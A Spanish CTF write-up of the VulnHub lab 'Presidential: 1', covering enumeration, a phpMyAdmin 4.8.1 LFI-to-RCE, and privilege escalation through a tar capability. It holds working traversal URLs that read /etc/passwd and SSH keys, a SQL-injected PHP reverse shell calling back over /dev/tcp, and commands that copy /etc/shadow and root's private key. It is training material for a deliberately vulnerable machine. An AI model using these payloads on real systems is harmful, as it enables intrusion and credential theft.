> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md).

# Presidential: 1 Análisis de VulnHub

{% embed url="<https://www.vulnhub.com/entry/presidential-1,500/>" %}

{% hint style="warning" %}
Habilidades:

* Enumeración web
* Fuga de información
* Alojamiento virtual
* Enumeración de subdominios
* Abusar de phpMyAdmin - LFI a RCE (abusando de sesiones PHP ID)
* Crackeo de hashes (pivotación de usuario)
* Abusar de capacidades (tar cap\_dac\_read\_search+ep) (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/95ad5c5b3b9441f41972e8fe9908d36c179c96bb" alt=""><figcaption></figcaption></figure>

**Descubrimiento de la dirección IP con arp-scan:**

Usando el comando arp-scan para detectar la dirección IP de la máquina:

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/8eb29a0296b81e915bad360e71b8d2c5250875c6" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**/ Enumerar los puertos abiertos y exportar los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.145 -oG allPorts
```

<figure><img src="/files/7e1332d8bf0da4dbbc5df756e1d0f550bc8bb653" alt=""><figcaption></figcaption></figure>

**Escaneo de versión de puertos con Nmap:**/ Usar Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80,2082 192.168.71.145 -oN targeted
```

<figure><img src="/files/825968f1089157a27b926b9d51b0c89c1dba65a6" alt=""><figcaption></figcaption></figure>

#### Escaneo del servidor con Wappalyzer:

Usando Wappalyzer para determinar que el servidor utiliza Apache y el lenguaje de programación PHP.

<figure><img src="/files/595aa1865e9d341adaea6a1763be57d83cdffb75" alt=""><figcaption></figcaption></figure>

**Identificar la versión objetivo con WhatWeb:**/ Usando WhatWeb para escanear el sitio web e identificar la versión de la máquina (Ubuntu) y Apache:

<div data-full-width="true"><figure><img src="/files/328eab8d2b6192d1bc4ed9bf43be9479cd1fe72c" alt=""><figcaption></figcaption></figure></div>

**Configuración de alojamiento virtual para la búsqueda de subdominios:**

Antes de empezar a buscar subdominios, configura el alojamiento virtual del objetivo para orientar mejor la información que deseas.

<figure><img src="/files/dc5aafc23dcca6f72c549aeb4900cf6b8456b0f4" alt=""><figcaption></figcaption></figure>

**Identificación de posibles usuarios en el sitio:**

Explora el sitio para identificar posibles usuarios. En este caso, se identifican dos usuarios, Kelly Bowen y Hugh Morgan, como puntos de interés.

<figure><img src="/files/c804d097af8147d1b88a87d1a4980973e617667a" alt=""><figcaption></figcaption></figure>

**Buscar directorios con Gobuster**

Usa Gobuster con una lista de directorios para encontrar rutas de acceso ocultas. Identifica tres directorios, uno de los cuales, "cgi-bin", presenta un posible riesgo de vulnerabilidad a [shellshock](/es/web-vulnerabilities/shellshock-attack.md) ataque.

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash
```

<figure><img src="/files/b6a064ad2efb797d5a4ddc118d4594df60ae766e" alt=""><figcaption></figcaption></figure>

**Buscar archivos con extensión PHP**

Realiza una búsqueda específica de archivos con la extensión PHP usando Gobuster para encontrar archivos relevantes. Descubre un archivo "config.php" que, al interpretarse, no revela ninguna información visible.

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash -x php
```

<figure><img src="/files/2e765e5691af4756563ba5e7543934205bae0292" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1d2af77bdb308393df00e582a965aff1d70829bb" alt=""><figcaption></figcaption></figure>

**Buscar archivos de respaldo (extensión bak)**

Continúa buscando, apuntando específicamente a archivos de respaldo con la extensión ".bak". Encuentra un archivo relevante que puede contener información sensible.

<figure><img src="/files/f0563a205a3bda9fdb834a2771a6012dc93664ae" alt=""><figcaption></figcaption></figure>

**Obtener credenciales de base de datos:**

Usa la información extraída del archivo de respaldo ".bak" para obtener las credenciales de la base de datos.

<figure><img src="/files/a07d77c2b30b046e131c84cf489dbb7403dda08f" alt=""><figcaption></figcaption></figure>

**Intento de conexión SSH:**

Intenta conectarte usando las credenciales obtenidas mediante SSH. Falla en el intento debido a la ausencia de una clave privada.

<figure><img src="/files/0af79fd1b339ecb20bf24bb900238cd22d69ba4c" alt=""><figcaption></figcaption></figure>

**Verificar la validez del usuario "votebox" en SSH**

Debido a la versión antigua de SSH, comprueba si el usuario "votebox" es un usuario válido del sistema.

<figure><img src="/files/ef0f2bddd40c0275aba01062a9eb32123081ef89" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9c3b45a66b683e5d4656f72aeca3f855c015c27b" alt=""><figcaption></figcaption></figure>

**Subdominios descubiertos con Gobuster**

Usa Gobuster con una lista de subdominios para explorar posibles subdominios. Sin embargo, este intento no da resultados positivos.

```bash
gobuster vhost -u http://votenow.local/ -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 | grep -v "400"
```

<figure><img src="/files/d394f03bc04d584314d40fe039489299994b199e" alt=""><figcaption></figcaption></figure>

**Búsqueda alternativa de subdominios con un diccionario diferente:**

Repite la búsqueda de subdominios usando un diccionario de directorios diferente.

<figure><img src="/files/b935d0f58e232a4fe4a5678b3ff0b91da0b4f6b8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/248052dd6f1bf8d5dfe954a2f077afebda53b9bf" alt=""><figcaption></figcaption></figure>

#### Identifícate a partir del archivo ".bak" descubierto previamente.

<figure><img src="/files/d928a6826c2ab440f2d25e72bf9e04ca73b15dcf" alt=""><figcaption></figcaption></figure>

**Identificación de vulnerabilidad NCE en phpMyAdmin**

Después de descubrir que la versión de phpMyAdmin es vulnerable (4.8.1), usa la herramienta SearchExploit para encontrar los exploits correspondientes, e identificar una [RCE ](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md)(ejecución remota de código).

<figure><img src="/files/7241999b5cd1d333722a1b5c4a1f6b1b78e93658" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/29d5a1b4a5ba6e15c7f7c084001ada82bbb96085" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad RCE:

Usa la vulnerabilidad NCE inyectando el siguiente script en la URL para leer el archivo "/etc/passwd":

<figure><img src="/files/bc7580e4bef5abaa45ba20f5dce17c22a857d8f6" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/5048bce56286733db866eaa5ec6ef91e9efcf96d" alt=""><figcaption></figcaption></figure>

**Intento de recuperación de la clave privada SSH del usuario admin**

Intenta acceder a la clave privada SSH del usuario "admin" usando la siguiente URL, pero encuentras un error:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/6b489d92cb30a86e40b1470bd947caa002395397" alt=""><figcaption></figcaption></figure>

**Exploración de los puertos internos de la red privada**

Usa la siguiente URL para listar los puertos internos del servidor desde el archivo /proc/net/tcp:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/99ca8c9a30acfa5b84facb48b025fb878071ae42" alt=""><figcaption></figcaption></figure>

Guarda estos puertos en un archivo de datos para su análisis posterior.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/f8355a0f391ebe399bd3ec85cd9e760d76793252" alt=""><figcaption></figcaption></figure>

**Identificación del directorio que contiene sesiones de phpMyAdmin**

Al explorar el script, identifica un directorio que contiene sesiones de phpMyAdmin:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/05400d5ed22a763be7b28fd444613430fafb6f96" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de phpMyAdmin (inyección de comandos)

**Uso de la cookie de sesión de phpMyAdmin para una inyección de comandos**

<figure><img src="/files/ebd5d99adb5d4801eb71ead84510693af7d3fb7c" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/84b7ee2ff4c6f134c6c2fc43855af9ff8ecd1b8b" alt=""><figcaption></figcaption></figure>

#### Este archivo interpreta todos los comandos de consulta.

```sql
SELECT 'testing';
```

<figure><img src="/files/d975cb3236d4a69bd105ffbaa01f2d4dbc1c67d2" alt=""><figcaption></figcaption></figure>

**Inyección de comandos SQL para obtener un** [**Shell inversa**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

/*/* El acceso a la máquina finalmente se logró:/*/*

<figure><img src="/files/d4856fb7c406681e28bc8bf20d165b66fc5772a3" alt=""><figcaption></figcaption></figure>

#### Estabilización de la terminal para la escalada de privilegios:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### **Límite de acceso a /home/admin y descubrimiento de una contraseña hasheada:**

Observa la restricción de acceso a /home/admin, que requiere acceso autenticado. En phpMyAdmin, observa el usuario "admin" con una contraseña hasheada, lo que indica la necesidad de descifrar la contraseña para acceder al sistema de archivos.

<figure><img src="/files/5cb941eee09395ffe29cd914f1e71b2924d20931" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bd2b7c6b35e7df9a4feb51c566b0d375f707ca7e" alt=""><figcaption></figcaption></figure>

## Cracking por fuerza bruta de la contraseña:

Crea un archivo "hash" que contenga la contraseña hasheada y usa John the Ripper para intentar romperla usando una lista de contraseñas (rockyou.txt en este ejemplo):

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

**Contraseña mostrada**

```bash
john --show hash
```

<figure><img src="/files/49115f8bd5300583296bbb41fbf61510eab28e2e" alt=""><figcaption></figcaption></figure>

#### **Cámbiate a la `admin` Usuario**

Usa la contraseña descifrada para el usuario admin y conéctate al sistema como administrador

<figure><img src="/files/088bffb5218081a21d151378bb8692e161e42a77" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios (capacidades)

```bash
getcap -r / 2>/dev/null
```

Usa el `getcap` comando para explorar las capacidades del sistema. Identifica una capacidad para listar todos los documentos en el sistema.

<figure><img src="/files/bac4b7cfceb77e068018e6f3a215c23a6da7b93f" alt=""><figcaption></figcaption></figure>

/*/* Captura el archivo /etc/shadow con tar/*/*

Crea una carpeta en el directorio /tmp e incluye el archivo /etc/shadow con el siguiente comando:

```bash
tarS -cvf shadow.tar /etc/shadow
```

Descomprime el archivo en el directorio /tmp. Como creador, modifica los permisos para ver el contenido de /etc/shadow.

```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```

<figure><img src="/files/db483056b474242e053cbb56002afe89d14092eb" alt=""><figcaption></figcaption></figure>

**Captura de la clave privada .ssh con tar**

Captura la clave privada .ssh del usuario root con el siguiente comando:

```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```

<figure><img src="/files/5306b7b5b6b99a62bb86758a13dd7fc0bfae71e1" alt=""><figcaption></figcaption></figure>

**Conexión SSH con la clave privada capturada:**

Usa la clave privada capturada para establecer una conexión SSH con el usuario root en la máquina local.

```bash
ssh -i id_rsa root@localhost -p 2082
```

**Flag obtenida :)**

<figure><img src="/files/05854f50ffef88fa43c7a5b5919b481272032449" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
